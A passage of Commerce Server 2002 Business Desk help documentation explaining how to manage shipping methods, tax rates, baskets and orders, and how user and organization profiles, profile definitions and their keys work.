  3. In the Charge by Subtotal - New screen, in the Shipping Method Properties section, do the following:
    Use this | To do this
    Language | Select the language that is associated with the shipping method.
    Name | Type the name of the shipping method.
    Description | Type the description of the shipping method.
    Enabled | Select this check box to enable the shipping method. If you do not enable the shipping method, it will not appear on your Web site.
  4. In the Rates section, click New, and then do the following:
    Use this | To do this
    Price, up to | Type the subtotal amount for the rate level.
    Shipping Rate | Type the amount of the rate.
  5. Click Accept.
  6. After you have entered all the rates, click the last row in the rates list, which reads over <highest subtotal entered>, and then click Edit.

    Important

    • You must edit the last line under Rates to save your shipping method.
  7. Enter the highest rate for this shipping method, and then click Accept.
  8. To save the shipping method and return to the Shipping Methods screen, click Save and go back on the toolbar.

The charge by subtotal shipping method is saved.

To edit shipping method properties

  1. In Orders, click Shipping Methods.
  2. In the Shipping Methods screen, select the shipping method you want to edit, and then click Open on the toolbar.
  3. In the Charge by <method> - Open <method name> screen, edit the properties for the shipping method.
  4. To save your edits and return to the Shipping Methods screen, click Save and go back on the toolbar.

The edited shipping method is saved.

See Also

Workflow for Order Management

About Orders

Adding Tax Rates

Publishing Order Codes on Your Web Site


Adding Tax Rates

You use the Tax Rates module in Commerce Server Business Desk to add tax rates for different countries/regions and states/provinces.

Notes

  • Country/region and state/province codes must be set up before you can add tax rates. For more information about adding country/region and state/province codes, see Adding Country/Region Codes and Adding State/Province Codes.
  • Tax rates set for individual states/provinces override any tax rate set for all the states/provinces of that country/region.
  • You must use the Publish Order Codes module to update your site after you have added a tax rate. For more information about publishing order codes, see Publishing Order Codes on Your Web Site.

To add a tax rate

  1. In Orders, click Tax Rates.
  2. In the Tax screen, click New, and then do the following:
    Use this | To do this
    Country/Region | Select a country/region from the drop-down list.
    State/Province | Select a state/province from the drop-down list.
    Tax rate | Type the tax rate as a percentage, using decimal format. For example, a tax rate of 8.6 percent would be typed as 8.6.
  3. Click Accept.
  4. To save the tax rate and return to the Business Desk welcome screen, click Save and go back on the toolbar.

The tax rate is saved.

See Also

Workflow for Order Management

About Orders

Managing Tax Rates

Publishing Order Codes on Your Web Site


Managing Tax Rates

Different states/provinces and countries/regions charge different amounts for sales tax, and some do not charge tax at all. You use the Tax Rates module in Commerce Server Business Desk to add, edit, and delete tax rates for different countries/regions and states/provinces.

This section contains:

  • Editing Tax Rates
  • Deleting Tax Rates


Editing Tax Rates

You can edit an existing tax rate by using the Tax Rates module when tax rates change.

To edit a tax rate

  1. In Orders, click Tax Rates.
  2. Select the tax rate you want to edit, and then click Edit.
  3. Edit the tax rate, and then click Accept.
  4. To save your edits and return to the Business Desk welcome screen, click Save and go back on the toolbar.

The edited tax rate is saved.

Note

  • You must use the Publish Order Codes module to update your site. For more information about publishing order codes, see Publishing Order Codes on Your Web Site.

See Also

About Orders

Adding Tax Rates

Deleting Tax Rates

Publishing Order Codes on Your Web Site


Deleting Tax Rates

You can delete an existing tax rate by using the Tax Rates module.

To delete a tax rate

  1. In Orders, click Tax Rates.
  2. Select the tax rate you want to delete, and then click Remove.
  3. To save your changes and return to the Business Desk welcome screen, click Save and go back on the toolbar.

The tax rate is deleted from your site.

Caution

  • After you delete a tax rate, it cannot be recovered. If you need that tax rate again, you must re-create it.

Note

  • You must use the Publish Order Codes module to update your site. For more information about publishing order codes, see Publishing Order Codes on Your Web Site.

See Also

About Orders

Adding Tax Rates

Editing Tax Rates

Publishing Order Codes on Your Web Site


Publishing Order Codes on Your Web Site

You use the Publish Order Codes module to update your site immediately with new information that you added, such as changed orders, new tax rates, and shipping methods.

You can view the sites and the order code caches that they contain. If you do not want to publish an order code cache, you can remove it from the list.

To publish tax, shipping, and order information

To delete an order code cache

To publish order, tax, and shipping information

  1. In Orders, click Publish Order Codes.

    Only the active caches are listed in the Publish Order Codes screen. If no caches are listed, there is nothing to publish.

  2. From the list of active caches, select the caches you want to update on your site, and then click Publish a catalog on the toolbar.

All of your order, tax, and shipping information is immediately updated on your site.

To delete an order code cache

  1. In Orders, click Publish Order Codes.
  2. Select the site and its order code cache you want to delete, and then click Delete on the toolbar.
  3. In the Delete? confirmation dialog box, click Yes to delete the order code cache for the selected site.

The order code cache for the selected site is deleted from the Production Items list.

See Also

Workflow for Order Management

About Orders

Adding Order Status Codes

Customizing Shipping Methods

Adding Tax Rates


Finding and Sorting Baskets

When users shop your site, they place the items that they want to buy in a virtual "basket." All the items users have selected for purchase are listed in their baskets when they check out. You can search for existing baskets by date or by organization, or you can list all baskets currently on your Web site. When you sort baskets by the last date accessed, you can determine which baskets have been abandoned and then delete them.

To find baskets

To sort baskets

To find baskets

  1. In Orders, click Basket Manager.
  2. In the Basket Manager screen, click the drop-down arrow in the Find By box, and then select one of the following from the drop-down list:
    Use this | To do this
    Date last accessed To find by date, either:
    • Select From in the drop-down list. Type the range of dates or select the dates from the From and To drop-down calendars.

    -Or-

    • Select On or Before in the drop-down list. Type the date or select the date from the drop-down calendar.
    Organization | To sort by organization, type the name of the organization or select the name of the organization from the drop-down list.
    All baskets | Lists all the baskets in the Commerce Server database by the last names of the users.
  3. Click Find Now.

You can now review the results in a list in the Basket Manager screen.

To sort baskets

  1. In Orders, click Basket Manager.
  2. In the Filtered View, click the column heading by which you want to sort the baskets.

The column heading you click sorts the list dynamically.

See Also

About Orders

Abandoned Baskets

Deleting Baskets


Deleting Baskets

After a user abandons a basket on your Web site, you can delete that basket from the Commerce Server database by using the Basket Manager module in Commerce Server Business Desk. Generally, you delete a basket because a user either does not check out or does not empty the basket before leaving the site.

To delete a basket

  1. In Orders, click Basket Manager.
  2. To find abandoned baskets, in the Find pane, do the following:
    Use this | To do this
    Find By | Select Date last accessed.
    Date | Select On or Before as your date criterion, and then type a date or select the date from the drop-down calendar.
  3. Click Find Now.
  4. In the Filtered View list, select the baskets you want to delete, and then click Delete on the toolbar.
  5. In the Delete confirmation dialog box, click Yes.

The selected baskets are deleted from your Web site.

Caution

  • After a basket has been deleted, it cannot be recovered.

Note

  • You must use the Publish Order Codes module to update your site. For more information about publishing order codes, see Publishing Order Codes on Your Web Site.

See Also

About Orders

Finding, Viewing, and Sorting Orders

Abandoned Baskets


Finding, Viewing, and Sorting Orders

You use the Order Status module in Commerce Server Business Desk to view order status information and to display all the details associated with an order, including the order header and line item information. You can search for specific orders placed by users visiting your site.

You can search using up to eight search criteria, or you can list all orders. By default, orders are listed in descending order by their number, but you can change the sort order. For example, you can sort orders by the order status or by the last name of the user.

To find an order

To view an order

To sort orders in a list

To find an order

  1. In Orders, click Order Status.
  2. In the Order Status screen, in the Find By drop-down list, select one of the following:
    Use this | To do this
    Order date | List all orders that were placed on or before a given date or from a given date forward. Type the date or select a date from the drop-down calendar.
    User name | List all orders created by a specific user. Type the first few characters of first name or last name of the user, or both, in the First Name and Last Name boxes.
    Order number | List the orders with a specific order number. You must type the exact order number in the Order number box.
    Organization | List all orders from a specific organization. You must type the organization name in the Organization box.
    PO number | List all orders from a specific purchase order (PO) number. You must type the exact PO number in the PO number box.
    Product ID | List all orders that contain a specific product ID number. You must type the exact product ID number in the Product ID box.
    Item description | List all orders that have a specific description.
    Any information | Open all search criteria. You can type some or all of the order details.
    All orders | List all saved orders that have not been processed by the Order Processing pipeline.
  3. Click Find Now.

You can now view your search results in the Order Status screen.

To view an order

  1. In Orders, click Order Status.
  2. In the Order Status screen, find the order you want to view. For information about finding an order, see To find an order.
  3. In the Filtered View list, select the order you want to view, and then click Open on the toolbar.
  4. In the Order: <order number> screen, in the Order Summary section, you can view the following information that pertains to the order:
    Use this | To do this
    Order Number | Order number of the selected order.
    Last Name | Last name of the user who placed the order.
    First Name | First name of the user who placed the order.
    Billing Address Name | Name of the billing address.
    Order Date | Date the order was placed.
    Order Status | Status of the order, such as new order or saved order.
    Subtotal | Subtotal for the order, excluding shipping and tax.
    Shipping Charge | Shipping charge for the order.
    Shipping Discount | Shipping discount, if a discount was awarded for the order.
    Tax | Amount of tax that was charged for the order.
    Total Amount | Total amount for the order, including shipping and tax.
    Payment Method | Type of payment method used for the order, such as credit card.

    The Order Detail section specifies the following order information:

    Use this | To do this
    Product ID | Product IDs for each product in the order.
    Variant ID | Product variant IDs for each product in the order.
    Name | Product names for each product in the order.
    Description | Product descriptions for each product in the order.
    Catalog | Catalogs from which each product in the order was purchased.
    Shipping Address | Names of the shipping addresses associated with each product in the order.
    Shipping Method | Names of the shipping methods associated with each product in the order.
    Quantity | Quantities ordered for each product.
    Unit Price | Unit price for each product in the order.
    Item Total | Total price for each product in the order.
    Messages | Messages associated with each product in the order.

    The Addresses section specifies the following order information about the addressee:

    Use this | To do this
    Address Name | Name of the address.
    Last Name | Last name of the addressee.
    First Name | First name of the addressee.
    Address Line 1 | First line of the address.
    Address Line 2 | Second line of the address.
    City | City name.
    Region | Region code.
    Postal Code | Postal code.
    Country/Region Code | Country/Region International Standards Organization (ISO) code; state/province or country/region code.

To sort orders in a list

  1. In Orders, click Order Status.
  2. In the orders list, click the column heading you want to use to sort the orders.

The column heading you click sorts the list dynamically.

See Also

About Orders

Deleting Orders


Deleting Orders

You can delete existing orders by using the Order Status module in Commerce Server Business Desk. This is useful, for example, when a user cancels an order or inadvertently creates a duplicate order, or when an item the user wants is no longer available.

To delete an order

  1. In Orders, click Order Status.
  2. Select the order you want to delete from the order results list, and then click Delete on the toolbar.
  3. In the Delete confirmation dialog box, click OK to confirm the deletion.

The order is deleted from your site.

Caution

  • After an order has been deleted, it cannot be recovered.

Note

  • You must use the Publish Order Codes module to update your site. For more information about publishing order codes, see Publishing Order Codes on Your Web Site.

See Also

Workflow for Order Management

About Orders

Finding, Viewing, and Sorting Orders


Business Desk Profiles

You use the Profiles modules to manage the collection of data on your Web site. For example, you can define what data is collected from users, and what data is exported to the Data Warehouse. You also use the Profiles modules to manage profiles, for example to change a user password or an organization administrative contact.

This section contains:

  • Workflow for Profile Management. Illustrates the workflow for managing user and organization profiles, designing profile definitions, and editing site terms.
  • About Profiles. Describes user profiles, organization profiles, profile definitions, and site terms, and how you work with them in Commerce Server.
  • Best Practices for Business Desk Profiles. Provides important information about creating and managing your profiles.
  • Creating a Site Term Group. Explains how to add new site term groups, and organize your site terms.
  • Creating a Site Term. Explains how to add new site terms.
  • Adding a Term to a Site Term. Explains how to add terms (values) to your site terms.
  • Creating a Profile Definition. Explains how your system administrator can create generic profile definitions to meet your business needs.
  • Adding a Property Group to a Profile Definition. Explains how to organize your properties by adding a property group to a profile definition.
  • Adding Properties to a Profile Definition. Explains how to add new properties to profile definitions.
  • Adding a Property that Maps to a Site Term. Explains how to add a site term to a profile definition and use the site term to select the value for the property to which it is associated.
  • Adding Encrypted Properties to a Profile Definition . Explains how to add new profile properties that can be encrypted.
  • Embedding a Profile Definition. Explains how to associate the contents of profiles by embedding a profile definition in another profile definition.
  • Publishing Profile Definition Changes on Your Web Site. Explains how to synchronize profile definition changes with your Web site.
  • Adding a User Profile. Explains how to add new user profiles to your Web site.
  • Adding a Delegated Administrator. Explains how to add a profile for a user designated as the delegated administrator for an organization.
  • Resetting a User Password. Explains how to reset a password for a registered user.
  • Adding an Organization Profile. Explains how to add new organization profiles to your Web site.
  • Adding a Generic Profile. Explains how to add new generic profiles to your Web site.
  • Adding Users to an Active Directory Group. Explains how to add new users to an Active Directory group.
  • Adding Groups to an Active Directory Group. Explains how to add Microsoft Active Directory groups to an Active Directory group.
  • Managing Site Terms and Groups. Explains how to edit, organize, and delete site terms and site term groups. Also explains how to delete terms (values) from site terms.
  • Managing Profile Definitions. Explains how to find, copy, and edit profile definitions, and delete profile properties.
  • Managing User Profiles. Explains how to find, edit, copy, and delete user profiles.
  • Managing Organization Profiles. Explains how to find, edit, copy, and delete organization profiles.
  • Managing Generic Profiles. Explains how to find, edit, copy, and delete generic profiles.
  • Removing Users from Active Directory Groups. Explains how to delete users and Microsoft Active Directory groups from Active Directory groups.


Workflow for Profile Management

The following figure illustrates a sample scenario for creating site terms, updating profile definitions, and managing profiles.

Creating the Target ExpressionAdding a Property DefinitionAdding a Generic ProfileAdding a User ProfileAdding an Organization ProfilePublishing Profile Definition Changes on Your Web SiteAdding Properties to a Profile DefinitionCreating a Site Term
  1. In the Site Terms Editor module, you add site terms, which are used in a profile definition to limit user entries for that property, for example, favorite color. Using site terms, you can create expressions to target advertisements to site users.
  2. In the Profile Definition Designer module, you add the new site term to the profile definition, which you can use to collect information, such as user data.
  3. In the Profile Definition Designer module, you add the property to a profile definition.
  4. In the Publish Profiles module, you publish the profile definition changes to your site.
  5. In the Users module, you manage profiles on your Web site. For example, you can add a new user profile or modify an existing one.
  6. In Campaigns, you can use the Campaign Expressions module to create an expression to target users whose profile matches your target criteria, for example, favorite color is equal to purple.


About Profiles

You use the Profiles modules to manage profile definitions, profiles, site terms, and Active Directory group membership for sites based on the SupplierActiveDirectory solution site. You can specify where profile data is stored when it is collected, and what type of profile data (for example, user data) is exported to the Data Warehouse. For information about exporting data to the Data Warehouse, see Specifying Data to be Imported into the Data Warehouse and Running the Profile Data Import DTS Task. You can add properties to profile definitions that will collect data you can use to distinguish those users to whom you want to deliver targeted ads or discounts. You can create site terms to standardize and restrict the choices shown to users when you request user input on your site.

The Profiles modules are designed so you can manage the data you collect about any business-related item, such as a user, a company, or a business process. Business Desk Profiles provides the following modules:

  • Profile Definition Designer. You use the Profile Definition Designer module to update the types of information you collect on your Web site, such as adding a new question to your user registration page.
  • Users. You use the Users module to create, find, and update user profile information, such as assigning a user a new password.
  • Organizations. You use the Organizations module to create, edit, and delete organization profiles. Organization profiles contain information about organizations, such as contact information for a department within a company.
  • Profile Editor. You use the Profile Editor module to update generic profiles. Generic profiles store generic profile definitions, which are profile definitions other than user or organization profile definitions, such as an Address profile definition.
  • Site Terms Editor. You use the Site Terms Editor module to create site terms that standardize and limit the responses users can give to a particular question.
  • Publish Profiles. You use the Publish Profiles module to publish to your Web site changes made with the Profile Definition Designer module.
  • Group Manager. (Available only in the SupplierActiveDirectory site.) You use the Group Manager module to control the level of access that groups of users have on your Web site by managing user membership in Active Directory groups.

Note

  • Business Desk permissions are set in the Permissions module in the Security category. Permissions can be assigned by module, by profile definition, and by profile property. You must have access to the Profiles modules to make changes to site terms, profile definitions, and profiles. For information about Business Desk permissions, see About Business Desk Security.

This section contains:

  • Using Profiles in Web Site Management
  • Collecting and Storing Profiles
  • User Profiles, Organization Profiles, and Generic Profiles
  • Profile Structure
  • Profiling System Design Considerations
  • Profiling System Run-time Considerations
  • Site Terms
  • Active Directory Groups


Using Profiles in Web Site Management

Profiles are essential to Web site management because they provide information about the users who visit your site and how they use it. You use profiles to analyze user data and to target content to users.

A profile is a set of characteristics that define any business-related item, such as a user, a company, or a context (date and time). The following figure shows different types of profiles.

A figure showing different types of profiles.

In Commerce Server, you use profiles to store information about business-related items. For example, you use profiles to collect data from users on your Web site. You can also enter data directly into user and organization profiles by using Commerce Server Business Desk.

Using Business Desk, you can:

  • Define information to collect about users visiting your site.
  • Analyze profile information.
  • Create target expressions to match content to users.
  • Create advertising, discount, and direct mail campaigns to target specific user groups.
  • Deliver personalized direct mail messages to users.

For example, assume you have a site that sells sporting goods. The following workflow provides an example of how you can use Business Desk to analyze user activity and target content to users.

  1. Your system administrator creates profile definitions for registered users and anonymous users.
  2. After your site has been running for a period of time, you analyze profile data to determine who is visiting your site. You can:
    • Run reports to analyze who is visiting your site.
    • Run reports to analyze which products in your catalog are selling well, and which ones are not selling well.
    • View segment models that show likely customer behavior, such as which products they might buy.
  3. You then use the results of your analysis to create a campaign to target content to users. You can:
    • Use the profiles to create target expressions and target groups.
    • Create a discount campaign to offer these specific users a discount.
  4. After the discount has been in production for a period of time, you analyze the results of the campaign. You can:
    • Run reports to analyze the success of the campaign.
    • Run reports to find out whether this group of users increased their purchases of discounted items.
    • View segment models to find out whether the same segment of users are showing the same behavior.
  5. If your users did not increase their purchases of discounted items, you create a direct mail campaign to deliver personalized messages offering the users a discount on a certain product.
  6. You export lists of users to the List Manager module from static reports, segment models, and prediction models. You can use the data in the user lists to deliver direct mail campaigns, target personal content, and update user profiles.

For information about creating expressions and targeting content to users, see Targeting and Personalization.

See Also

About Dynamic and Static Reports

Running Reports

Advertising Reports

Running a Campaign Report

Specifying Data to be Imported into the Data Warehouse

Running the Profile Data Import DTS Task.


Collecting and Storing Profiles

Profile data is collected at a Commerce Server site in two ways. Users visiting your site provide profile data about themselves; this is called explicit profiling. For example, when users purchase products from your site, they typically provide their name, mailing address, phone number, and e-mail address. This information is used to populate the user profile.

You can also collect data through implicit profiling. In implicit profiling, the actions of all users (anonymous and registered) are recorded in Web log files as the users interact with your Web site. For example, Web log files record the links that anonymous users click, the products they search for, the length of their sessions, and how long they visit a given Web page. Even though the users are anonymous — you do not know their names, e-mail addresses, or other information — how they use your site is still important information. For information about how cookies are used in Commerce Server, see Authentication Concepts.

The prediction and segmentation models perform other forms of implicit profiling. If information about a user is missing—for example, the Music Preference associated with a user— the Commerce Server Predictor can provide a guess. This guess is based on the information gathered about the aggregate properties of the user population who visits your site and the CDs they purchase, browse, and sample.

Segment models cluster users based on similar behaviors. You can use segment models to extract a list of users that behave similarly and then, for example, target them with a marketing campaign tailored for that group of users.

All the information that is collected during a specific user session is collected in a single profile, that is, one instance of a profile definition.

When explicit profile data is initially collected, it is first stored in the designated database, while implicit profile data is stored in Web server logs. The system administrator imports the profile data into the Data Warehouse on a regular basis. After the profiles are imported into the Data Warehouse, you can use Business Desk to analyze user data, and then use the results of your analysis to update your Web site and manage your profiling system.

For information about storing profiles in the Data Warehouse, see the following topics in Commerce Server 2002 Help:

  • Specifying Data to be Imported into the Data Warehouse
  • Running the Profile Data Import DTS Task

See Also

Specifying Data to be Imported into the Data Warehouse

Running the Profile Data Import DTS Task


User Profiles, Organization Profiles, and Generic Profiles

The profile definition that is used to create a profile defines the type of the profile. Profile types are defined in the following table:

Profile definition | Profile type
User Object For information about the UserObject profile schema, see UserObject Profile Schema. | User
Organization For information about the Organization profile schema, see Organization Profile Schema. | Organization
All other profile definitions. For example, Address. For information about the Address profile schema, see Address Profile Schema. | Generic

The following table shows User profiles, Organization profiles, and generic profiles, the profile definitions used to create them, and the Business Desk Profiles modules you use to edit them.

Profile type | Profile definition | Business Desk module
User profiles | User Object | Users module
Organization profiles | Organization | Organizations module
Generic profiles | All other profile definitions. For example, the Address profile definition. | Profile Editor module

Note

  • For the default Business Desk schemas (Address, UserObject, Organization, and BlanketPOs), the following file contains the properties for all the profiles used as display columns on the profiles search page of Business Desk: \inetpub\wwwroot\<business desk site name>\profiles\columns.xml.
  • This section contains:
    • User Profiles
    • Organization Profiles
    • Generic Profiles


User Profiles

User profiles contain information about users. You use the Users module to add, delete, and change information about anonymous and registered users who visit your site. For example, you can change the password for registered users who have forgotten theirs. The User Object profile definition is used to collect information about users. You can use the Profile Definition Designer to customize the User Object profile definition to meet the needs of your site.

Commerce Server supports two types of users:

  • Anonymous users. Users who have not signed up for an account on your site. These types of users are only allowed to access non-secured content. If you want to track anonymous users on your site, you can issue them an MSCSProfile ticket.
  • Registered users. Users who have signed up for an account on your site, and who typically have a login name and password. Registered users can provide additional information to benefit from the membership. For example, upon successful authentication, the registered user is issued an MSCSAuth ticket to allow access to secured content.


Organization Profiles

Organization profiles contain information about organizations. An organization can be one of the following:

  • A division
  • A department
  • Another business unit within a company
  • An external company acting as a trading partner

An organization is an entity that is designated within Business Desk as a source of, or destination for, the exchange of business information.

For example, you set up an organization profile for each department for which the training department of your company provides training. The benefits of creating an organization profile for each department are:

  • The training department can use Commerce Server to manage relationships with their internal customers — the other departments.
  • The training department can use a Commerce Server catalog that lists classes as products.
  • Each department can "buy" courses from the training catalog.
  • The training department can use the organization profiles to manage the contact information for each department that receives training and run reports that show sales of training to each department.

You use the Organizations module to add, delete, and change information about organization profiles. The Organization profile definition is used to collect information about organizations. You can use the Profile Definition Designer module to customize the Organization profile definition to meet the needs of your site.

If your site developer created your site by using the Blank Solution Site, then an Organization profile definition is included in your site. You use the Organization profile definition to specify information such as the following:

  • Name of the primary contact
  • Address
  • Phone number
  • Name of the purchasing manager
  • Catalog set available to the organization

The Organization profile definition is designed with properties that reference people, such as administrative contacts and purchasing managers. The information for the people referenced in an organization profile is contained in user profiles for those people. You can use the Users module to edit the embedded user profile information from the organization profile. You can also edit the user profile information directly with the Profile Editor module.

See Also

Adding a User Profile

Adding an Organization Profile


Generic Profiles

Generic profiles contain generic information such as address information. They are created with a generic profile definiton, which is any profile definition other than the User Object or Organization profile definition. If your site developer created your site by using the Blank Solution Site, then several generic profile definitions are included in your site, including the Address profile definition.

Your system administrator can create profile definitions to meet the data collection needs of your site. All profile definitions created by your system administrator are considered generic profile definitions. This is true even if your system administrator creates a new profile definition by copying the User Object or Organization profile definition. When you use a generic profile definition to collect data, the data is stored in a generic profile and can be edited by using the Profile Editor module in Commerce Server Business Desk.

You use the Profile Editor module to update generic profiles. You must set the following two custom attributes in the generic profile definitions if you want to edit profiles based on them by using the Profile Editor:

  • The sDisplayColumn attribute assigns a property as the heading for a column in the Find screen of the Profile Editor module.

    If the profile definition does not have an sDisplayColumn attribute, then Commerce Server Business Desk cannot display the profiles in the Find screen of the Profile Editor module. In addition, you cannot edit the profiles.

  • The sFriendlyName attribute controls which property is displayed as the far left column in the Find screen of the Profile Editor module, and in the title bar of the Edit Profile: <friendlyname> screen of the Profile Editor module. For information about custom attributes and how to add them to a profile definition, see Adding Properties to a Profile Definition.

When you set the sDisplayColumn and sFriendlyName custom attributes for a particular profile definition, you customize the Profile Editor for working with profiles created with that profile definition. You can customize the Profile Editor to work with an unlimited number of profile definitions (limited only by system resources). For information about setting the sDisplayColumn and sFriendlyName custom attributes, see Adding Properties to a Profile Defintion.


Profile Structure

A profile is a single instance of a profile definition containing the data that the profile definition collects.

Every profile is based on a single profile definition. You can embed profile definitions to create profiles that reference each other, for example, by adding an Address profile definition to the User Object profile definition, you can collect an address for a user and the user can reference the address. You use the Profile Definition Designer module in Commerce Server Business Desk to edit and manage profile definitions.

The following table shows a sample User Object profile definition and a single instance of the sample User Object profile definition with data for Sean Chai.

Profile definition: User Object | Profile: Sean Chai
First name | Sean
Last name | Chai
City | Seattle
Gender | M
Age | 52
E-mail address | seanchai@microsoft.com

A Commerce Server profile consists of the following parts:

  • Profile definition. A description of the data to be collected for a given type of profile. You can have multiple profiles based on a single profile definition. For example, the User Object profile definition can be used to create a profile for each user who registers on your site. System administrators use the Profiles resource in Commerce Server Manager to create profile definitions.
  • Profile property. A characteristic that specifies the profile data to be collected when a user visits your Web site. For example, the First Name property specifies that the first name of the user should be collected. Use the Business Desk Profile Definition Designer module to add profile properties to profile definitions.
  • Profile property attribute. A characteristic that specifies information about a profile property such as the data type of the property (for example, number, string, decimal, and site term).


Profile Definitions

A profile definition is a set of characteristics that define any business-related item, such as a user, a company, or a business process. If your site developer used a Solution Site to build your site, you should have the five following sample profile definitions:

  • Address
  • BlanketPOs (purchase orders)
  • Organization
  • Targeting Context
  • User Object

To create additional profile definitions for your site, work with your system adminstrator.

For example, assume you request a new profile definition named Music, and you want to store the following profile properties: First Concert, Last Concert, Favorite CD, and two more properties that are not yet determined.

The system administrator creates the new profile definition, Music, which will have five properties: three you know now, and two you will add at a later time. The system administrator also extends your profile database by adding enough columns to store the data collected with the five properties of the Music profile definition.

After the system administrator creates the profile definition and extends the profile database, you can do the following:

  • Use the Profile Definition Designer module to add the first three properties and modify the attributes of the profile properties you added.
  • Map the three profile properties with three of the data members provided by the system administrator to the appropriate database columns.

Note

  • Your system administrator can complete these tasks by using Commerce Server Business Desk or Commerce Server Manager.

At a later date, when you determine other information you want to collect by using the Music profile definition, you can use the Profile Definition Designer module to add the remaining two properties and map them to the database columns created by your system administrator.

See Also

Profile Definition Keys

Adding Properties to a Profile Definition

Adding a Property that Maps to a Site Term

Deleting Properties from a Profile Definition

Embedding a Profile Definition


Profile Definition Keys

You must define one or more keys for every valid profile definition. You can identify unique, primary, join, and hashing keys by examining the Key type property in the Advanced Attributes section in the Profile Definition Designer module of Business Desk or in the Advanced Attributes section of the selected property of the profile definition in Commerce Server Manager. This section describes how to define the following keys:

  • Unique key
  • Primary key
  • Join key
  • Hashing key

Unique Key

Every profile definition property marked as a key has the Unique Key attribute turned on. Only properties of string or numeric data types can be marked as keys. A profile definition can have any number of keys, although from a performance and memory perspective, it is better to have as few keys as possible.

All core profile object management operations in the Profiling System (CreateProfile, GetProfile, GetProfileByKey, DeleteProfile, DeleteProfileByKey) work with key members only. The Profiling System does not guarantee the uniqueness of properties that are marked as unique keys. Instead, it relies on constraints on objects in the underlying data stores (tables for relational databases or classes for directory stores) to implicitly enforce uniqueness.

Primary Key

Every profile definition must have exactly one unique key property marked as a primary key. You should mark the profile property most commonly used to operate on profile object instances as the primary key.

A primary key is identified by a red "P" or a green "D" (for a dual primary and join key) that precedes the property in the Profile Definition Designer module of Business Desk or in the profile definition of the Profiles resource in Commerce Server Manager.

Join Key

Every profile definition must have exactly one unique key property marked as a join key. For optimal performance, you should also mark the primary key on the profile definition as the join key. If you do not provide a value for the join key property when you create the profile object, then the Profiling System automatically generates a value for this member.

A join key is identified by either a blue "J" or a green "D" (for a dual primary and join key) that precedes the property in the Profile Definition Designer module of Business Desk or in the profile definition of the Profiles resource in Commerce Server Manager. The Profiling System uses the join key property to assemble profile object fragments stored in multiple data stores. Join key property values are replicated across all data stores.

Note

  • After the join key property has been committed to the underlying stores, it cannot be updated.

Hashing Key

Every profile definition can have one unique key property marked as the hashing key. The profile aggregation layer uses the hashing key property to hash a profile object to a unique partition within a data source. The presence of a hashing key property is the only way to indicate that instances of a profile definition will be stored across multiple partitions of a data source. If this property is absent, all profile instances are stored in the default partition.

You should mark the join key on the profile definition as the hashing key. For optimal performance, you should mark the same property as the primary key, the join key, and the hashing key.

You can identify a hashing key by examining the Advanced Attributes/Hashing key in the Profile Definition Designer module of Business Desk or in the profile definition of the Profiles resource in Commerce Server Manager.

Note

  • After the profile object has been committed to the underlying stores, the hashing key property value cannot be updated.

Important

For partitioned ANSI SQL stores only, profile object retrieval operations based on a non-hashing key and the GetInfo method of the ProfileObject object could fail. However, this is not true for LDAP version 3-compliant stores.

The following figure shows the Key type drop-down box and the Hashing key check box highlighted in red.


Profiling System Design Considerations

This section describes the following considerations for designing effective profile definitions:

  • Keys
  • Recommended data type mappings
  • Other considerations

Keys

Choosing the appropriate key members can help you maximize the performance of the Profiling System. To effectively define keys in the profile definition, answer the following questions, and then use the table to find the corresponding guideline:

  • Question 1. Should the primary key property be updatable after the object has been committed to the underlying stores?
  • Question 2. Should the data be partitioned within a data source?
Guideline | Question 1 | Question 2
Use the same property as the primary key and the join key. | No | No
Use the same property as the primary key, the join key, and the hashing key. This configuration maximizes the performance of Profiling System operations in partitioned scenarios. | No | Yes
Do not use the same property as the primary key and the join key. | Yes | No
Do not use the same property as the primary key and the join key. However, use the same property as the join key and the hashing key. This configuration provides sub-optimal performance for profile object operations based on a non-hashing (or non-join) key property. | Yes | Yes

Recommended Data Type Mappings

The following tables list the recommended mappings between Profiling System data types and the data types supported by SQL Server, Oracle, Active Directory, and Membership Directory.

ANSI SQL stores

Profiling System data type | SQL Server data type | Oracle data type
BOOL | smallint | number
NUMBER | int | number
FLOAT | float | number
STRING/PROFILE/PASSWORD/ SITETERM | nvarchar | nvarchar2
CURRENCY | money | number
DATETIME/DATE/TIME | datetime | date
BINARY | varbinary | raw
LONGTEXT | ntext | nclob
IMAGE | image | blob

LDAP-v3 stores

Profiling System data type | Active Directory data type | Membership Directory data type
BOOL | boolean | integer
NUMBER | integer | integer
STRING/PROFILE/ PASSWORD/SITETERM | string (Unicode) | UnicodeString
CURRENCY | LargeInteger | integer
DATETIME | string (GeneralizedTime) | generalizedTime
BINARY | string (Octet) | binary
LONGTEXT | string (Unicode) | UnicodeString
IMAGE | string (Octet) | binary

Note

  • For ANSI SQL stores, the Profiling System supports multi-values only for the string data type. For LDAP-v3 stores, the Profiling System supports multi-values for all data types except longtext and image.

Other Considerations

The following table describes other items you should consider to define effective profile definitions.

Design consideration | Description
Restrictions on WHERE clauses | OLE DB Provider for Commerce Server requires that all properties in the WHERE clauses of queries passed to it map to the same underlying store. This restriction becomes important when you design profile definitions that aggregate data across multiple data objects.
Data size limitations | For a detailed description of each of the data types exposed by the Profiling System, see "Profile Definition Components," located in the path “Administering Commerce Server/Running the Profiles Resource/About the Profiles Resource/Profile Definitions/” in Commerce Server 2002 Help.
Valid characters in object names | Profile definition object names such as ProfileDefinitionName, ProfilePropertyName, and so on, can contain only alphanumeric characters and the underscore (_) character.


Profiling System Run-Time Considerations

This section describes the following Profiling System run-time considerations:

  • CSOLEDB handles
  • Accessing properties
  • Transaction support
  • Data size validation

CSOLEDB Handles

You must always store handles to the Profiling System and OLE DB Provider for Commerce Server at application scope. You should do this because the CSOLEDB handles were designed so that they create an object once in the Global.asa file, store the object at application scope, and then use the object on every ASP page. The CSOLEDB handles coordinate the concurrency issues that arise from processing multiple queries simultaneously. They also manage the fault-tolerance of connections to underlying stores for reliable query processing.

Accessing Properties

The Profiling System provides a number of mechanisms to access profile object properties. For example, the following are different ways of accessing the GeneralInfo.user_id property of a ProfileObject object named oUser:

  • Access by using standard Microsoft ActiveX Data Objects (ADO) notation:
    oUser.Fields.Item("GeneralInfo").Value.Item("user_id").Value
oUser.Fields("GeneralInfo").Value("user_id").Value
  • Access by using extended dot notation:
    oUser.Fields("GeneralInfo.user_id"
  • Access by using smart dispatch notation:
    oUser.GeneralInfo.user_id

The performance difference between these options is insignificant.

Transaction Support

The Profiling System, by default, does not transact write operations across multiple data stores. More specifically, it does not support executing a two-phase commit protocol across transactional data stores.

